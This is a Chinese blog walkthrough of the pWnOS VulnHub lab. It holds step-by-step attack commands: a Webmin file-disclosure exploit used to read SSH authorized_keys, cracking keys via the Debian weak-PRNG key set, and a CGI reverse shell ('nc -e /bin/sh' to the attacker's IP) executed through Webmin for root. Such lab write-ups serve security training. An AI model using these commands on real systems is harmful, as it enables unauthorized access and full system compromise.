pWnOS的第二种全新解法(ssh私钥破解、webmin漏洞提权)

端口

复制代码
端口扫描内容请看:vulnhub(8):pWnOS(还没信息收集就已经成功打点)-CSDN博客

打点

ssh登录公钥收集
复制代码
./2017.pl 192.168.234.116 10000 /home/vmware/.ssh/authorized_keys 0
./2017.pl 192.168.234.116 10000 /home/obama/.ssh/authorized_keys 0
./2017.pl 192.168.234.116 10000 /home/osama/.ssh/authorized_keys 0
./2017.pl 192.168.234.116 10000 /home/yomama/.ssh/authorized_keys 0
​
只有vmware和obama开了私钥登录
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw== vmware@ubuntuvm
​
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ== obama@ubuntuvm
破解私钥
复制代码
searchsploit prng后看到5622.txt,但是这个漏洞有条件
私钥破解需要看ssh使用的openssl的版本号,如果OpenSSL 0.9.8c-1 < 0.9.8g-9(Debian 及其衍生产品
才能使用如下漏洞破解,那么我们在如何不打点的情况下知道openssl版本呢,因为知道openssl的版本需要ssh -V显示出来,而这串字符串是硬编码文件里面的,所以我们不能通过文件披露获得openssl的版本,所以说只能尝试,因此,这是一种不可靠的尝试做法,或者说拿下目标机器后ssh -V查看版本,且匹配版本漏洞后,再破解其他用户私钥

开源的私钥对做对比
​
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
​
tar vjxf 5622.tar.bz2           # 解压
​
# 目录下都是成对的私钥对:
3ff5e8afcbae87c8e5068c34afd54de5-17533.pub  7fb92ee77c941eb15a1926d097dfb555-20341      bf42c327274d75818b09c409c9c2d18e-19747.pub  fffbc8da0c715adf2b9672837aa8a807-20113
3ff6efb66496111fb2e5b16f6d55f8f1-21200      7fbd40ce4c3248dc251f09f238e2c3bc-30929      bf440475ec6be28f998e2074a00e0e1c-20388      fffbc8da0c715adf2b9672837aa8a807-20113.pub
......
​
分别对比vmware和obama
:grep -lr "AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy1"
grep -lr "AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjq"
​
发现目录有obama用户密钥对的公钥:2048/dcbe2a56e8cdea6d17495f6648329ee2-4679.pub
​
那么它的私钥就是与之成对的2048/dcbe2a56e8cdea6d17495f6648329ee2-4679
ssh登录
复制代码
cp dcbe2a56e8cdea6d17495f6648329ee2-4679 /tmp/rsa
使用私钥登录
ssh obama@192.168.234.116 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -i /tmp/rsa -oPubkeyAcceptedKeyTypes=ssh-rsa
​
tips:
错误:sign_and_send_pubkey: no mutual signature supported,这是因为密钥登陆阶段,客户端没有发送服务端支持公钥类型,因此密钥登陆的验证不知道用什么算法,我们手动指出即可-oPubkeyAcceptedKeyTypes=ssh-rsa,简而言之:就是服务端不知道以什么算法验证登录密钥
​
错误:Unable to negotiate with 192.168.234.116 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss,这是因为客户端主机密钥验证阶段,需要服务端host私钥签名,客户端host公钥验证服务端身份,但是客户端并没有向服务端指定hostkey的类型,服务端不知道使用什么算法签名,它提示服务端支持ssh-rsa,ssh-dss,我们手动指定即可-oHostKeyAlgorithms=ssh-rsa,ssh-dss,简而言之:就是服务端不知道以什么算法验证自己身份
​
具体ssh完整步骤且两个参数具体作用看文章:红队ssh协议通信全流程以及安全研究-CSDN博客

提权

复制代码
webmin服务是按root权限进行的
​
要使用webmin服务提权,我们要思考一个问题:
如何让webmin访问且执行到我们写入的反弹shell
​
解决问题:
首先webmin服务的目录是没有任何写入权限的,我们不能把反弹shell写在webmin服务目录下,
那么不写入webmin目录,服务就访问不到反弹shell了吗?
我们可以之前使用webmin文件披露的漏洞,使用此脚本请求系统任意路径下cgi脚本时,apache会执行cgi脚本,因此我们在任意位置写入cgi脚本,就可以使用webmin服务请求并执行到cgi脚本,因为webmin使用root权限,因此反弹shell权限也是root
构造cgi文件
复制代码
# cgi反弹shell
nc -e /bin/sh 192.168.234.47 1234
​
# 传给靶机
攻击者监听并请求
复制代码
nc -nlvp 1234
​
让webmin服务执行cgi反弹shell
./2017.pl 192.168.234.116 10000 /home/vmware/shell3.cgi 0
结果
复制代码
connect to [192.168.234.47] from (UNKNOWN) [192.168.234.116] 57598
python -c 'import pty;pty.spawn("/bin/bash")'
root@ubuntuvm:/usr/local/webmin# whomai
root
​
为何这个漏洞能够成功:
1.这个漏洞本质上是使用apache服务器对任意文件的请求,apache对其他脚本会输出,但是对cgi会解析执行
2.webmin服务使用root运行
相关推荐
GEEKVIP36 分钟前
如何在没有备份的情况下恢复 Mac 上丢失的数据
经验分享·笔记·安全·macos·电脑·笔记本电脑·改行学it
Dola_Pan1 小时前
Linux文件IO(一)-open使用详解
java·linux·dubbo
Spring-wind1 小时前
【linux】pwd命令
linux
geekrabbit2 小时前
机器学习和深度学习的区别
运维·人工智能·深度学习·机器学习·浪浪云
ken_coding2 小时前
Windows11 WSL2的ubuntu 22.04中拉取镜像报错
linux·ubuntu·docker
阳光开朗_大男孩儿2 小时前
DBUS属性原理
linux·服务器·前端·数据库·qt
acrel___wy2 小时前
小商品市场配电系统安全用电解决方案
安全·系统安全
楠神说软件测试2 小时前
接口自动化框架入门(requests+pytest)
运维·数据库·自动化
xuan哈哈哈3 小时前
web基础—dvwa靶场(八)SQL Injection(Blind)
数据库·web安全·网络安全
竹等寒3 小时前
Spring框架常见漏洞
java·spring·网络安全